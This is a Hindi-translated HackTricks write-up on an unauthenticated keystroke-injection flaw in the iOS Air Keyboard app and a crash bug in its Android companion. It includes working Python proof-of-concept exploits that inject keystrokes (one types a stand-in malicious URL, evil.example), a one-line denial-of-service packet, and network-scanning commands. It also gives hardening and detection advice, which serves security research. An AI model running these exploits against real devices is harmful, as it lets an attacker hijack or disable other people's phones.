Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
TL;DR
iOS संस्करण का वाणिज्यिक “Air Keyboard” एप्लिकेशन (App Store ID 6463187929) एक स्थानीय-नेटवर्क सेवा को उजागर करता है जो कोई प्रमाणीकरण या मूल सत्यापन के बिना कीस्ट्रोक फ़्रेम स्वीकार करता है। स्थापित संस्करण के आधार पर, सेवा या तो है:
- ≤ 1.0.4 – कच्चा TCP श्रोता पोर्ट 8888 पर जो 2-बाइट लंबाई हेडर की अपेक्षा करता है, इसके बाद device-id और ASCII पेलोड होता है।
- ≥ 1.0.5 (जून 2025) – WebSocket श्रोता उसी पोर्ट (8888) पर जो JSON कुंजी जैसे
{"type":1,"text":"…"}
को पार्स करता है।
इसलिए, एक ही Wi-Fi / सबनेट पर कोई भी डिवाइस शिकार के फोन में मनमाना कीबोर्ड इनपुट इंजेक्ट कर सकता है, पूर्ण दूरस्थ इंटरैक्शन हाइजैकिंग प्राप्त कर सकता है। एक साथी Android बिल्ड पोर्ट 55535 पर सुनता है। यह एक कमजोर AES-ECB हैंडशेक करता है लेकिन तैयार किया गया कचरा फिर भी OpenSSL के अंदर एक अनहैंडल्ड अपवाद का कारण बनता है, बैकग्राउंड सेवा को क्रैश कर देता है (DoS).
यह सुरक्षा दोष लेखन के समय (जुलाई 2025) पर अभी भी पैच नहीं किया गया है और एप्लिकेशन App Store में उपलब्ध है।
1. सेवा खोज
स्थानीय नेटवर्क को स्कैन करें और ऐप्स द्वारा उपयोग किए जाने वाले दो निश्चित पोर्टों की तलाश करें:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
Android हैंडसेट पर आप स्थानीय रूप से जिम्मेदार पैकेज की पहचान कर सकते हैं:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
On jailbroken iOS आप lsof -i -nP | grep LISTEN | grep 8888
के साथ कुछ समान कर सकते हैं।
2. प्रोटोकॉल विवरण (iOS)
2.1 विरासत (≤ 1.0.4) – कस्टम बाइनरी फ्रेम
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
घोषित लंबाई में device_id
बाइट लेकिन नहीं दो-बाइट हेडर शामिल है।
2.2 वर्तमान (≥ 1.0.5) – JSON ओवर WebSocket
संस्करण 1.0.5 चुपचाप WebSockets पर माइग्रेट हो गया जबकि पोर्ट नंबर अपरिवर्तित रखा। एक न्यूनतम कीस्ट्रोक इस तरह दिखता है:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
कोई हैंडशेक, टोकन या सिग्नेचर की आवश्यकता नहीं है - पहला JSON ऑब्जेक्ट पहले से ही UI इवेंट को ट्रिगर करता है।
3. शोषण PoC
3.1 लक्ष्य ≤ 1.0.4 (कच्चा TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 लक्ष्य ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
कोई भी प्रिंट करने योग्य ASCII — जिसमें लाइन-फीड, टैब और अधिकांश विशेष कुंजी शामिल हैं — भेजी जा सकती हैं, जिससे हमलावर को भौतिक उपयोगकर्ता इनपुट के समान शक्ति मिलती है: ऐप्स लॉन्च करना, IM भेजना, दुर्भावनापूर्ण URL खोलना, सेटिंग्स टॉगल करना, आदि।
4. Android Companion – Denial-of-Service
Android पोर्ट (55535) एक 4-चरित्र पासवर्ड की अपेक्षा करता है जो एक हार्ड-कोडेड AES-128-ECB कुंजी के साथ एन्क्रिप्ट किया गया है और उसके बाद एक यादृच्छिक nonce होता है। पार्सिंग त्रुटियाँ AES_decrypt()
में उठती हैं और पकड़ी नहीं जातीं, जिससे लिस्नर थ्रेड समाप्त हो जाता है। इसलिए एक ही गलत पैकेट वैध उपयोगकर्ताओं को डिस्कनेक्टेड रखने के लिए पर्याप्त है जब तक कि प्रक्रिया को फिर से लॉन्च नहीं किया जाता।
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. संबंधित ऐप्स – एक आवर्ती एंटी-पैटर्न
Air Keyboard एक अलग मामला नहीं है। अन्य मोबाइल “रिमोट कीबोर्ड/माउस” उपयोगिताएँ भी इसी दोष के साथ आई हैं:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78 अनधिकृत कमांड निष्पादन और प्लेन-टेक्स्ट की-लॉगिंग की अनुमति देते हैं।
- PC Keyboard ≤ 30 – CVE-2022-45479/80 अनधिकृत RCE और ट्रैफिक स्नूपिंग।
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 डिफ़ॉल्ट-नो-पासवर्ड, कमजोर PIN ब्रूट-फोर्स और क्लियर-टेक्स्ट लीक।
ये मामले मोबाइल ऐप्स पर नेटवर्क-फेसिंग हमले की सतहों की प्रणालीगत उपेक्षा को उजागर करते हैं।
6. मूल कारण
- आने वाले फ्रेम पर कोई मूल/अखंडता जांच नहीं (iOS)।
- क्रिप्टोग्राफिक दुरुपयोग (स्थिर कुंजी, ECB, लंबाई मान्यता की कमी) और अपवाद प्रबंधन की कमी (Android)।
- उपयोगकर्ता-प्रदानित लोकल-नेटवर्क अधिकार ≠ सुरक्षा – iOS LAN ट्रैफिक के लिए रनटाइम सहमति मांगता है, लेकिन यह उचित प्रमाणीकरण का विकल्प नहीं है।
7. हार्डनिंग और रक्षा उपाय
डेवलपर सिफारिशें:
127.0.0.1
पर लिस्नर को बाइंड करें और यदि रिमोट कंट्रोल की आवश्यकता हो तो mTLS या Noise XX के माध्यम से टनल करें।- ऑनबोर्डिंग के दौरान प्रति-डिवाइस रहस्यों को निकालें (जैसे, QR कोड या पेयरिंग PIN) और इनपुट प्रोसेसिंग से पहले आपसी प्रमाणीकरण को लागू करें।
- Apple Network Framework को NWListener + TLS के साथ अपनाएँ, कच्चे सॉकेट के बजाय।
- फ्रेम को डिक्रिप्ट या डिकोड करते समय लंबाई-प्रमुख सैनीटी जांच और संरचित अपवाद प्रबंधन लागू करें।
ब्लू-/रेड-टीम त्वरित जीत:
- नेटवर्क शिकार:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
या Wireshark फ़िल्टरtcp.port == 8888
। - रनटाइम निरीक्षण: Frida स्क्रिप्ट हुकिंग
socket()
/NWConnection
अप्रत्याशित लिस्नरों की सूची बनाने के लिए। - iOS ऐप प्राइवेसी रिपोर्ट (सेटिंग्स ▸ प्राइवेसी और सुरक्षा ▸ ऐप प्राइवेसी रिपोर्ट) उन ऐप्स को उजागर करती है जो LAN पते से संपर्क करते हैं – धोखाधड़ी सेवाओं को पहचानने के लिए उपयोगी।
- मोबाइल EDRs पोर्ट 8888 पर क्लियर-टेक्स्ट TCP पेलोड्स के लिए JSON कुंजी
"selectionStart"
,"selectionEnd"
के लिए सरल Yara-L नियम जोड़ सकते हैं।
डिटेक्शन चीट-शीट (पेंटेस्टर्स)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
संदर्भ
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection
- Mobile-Hacker Blog (17 Jul 2025) – Air Keyboard iOS App में Remote Input Injection Vulnerability अभी भी Unpatched
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।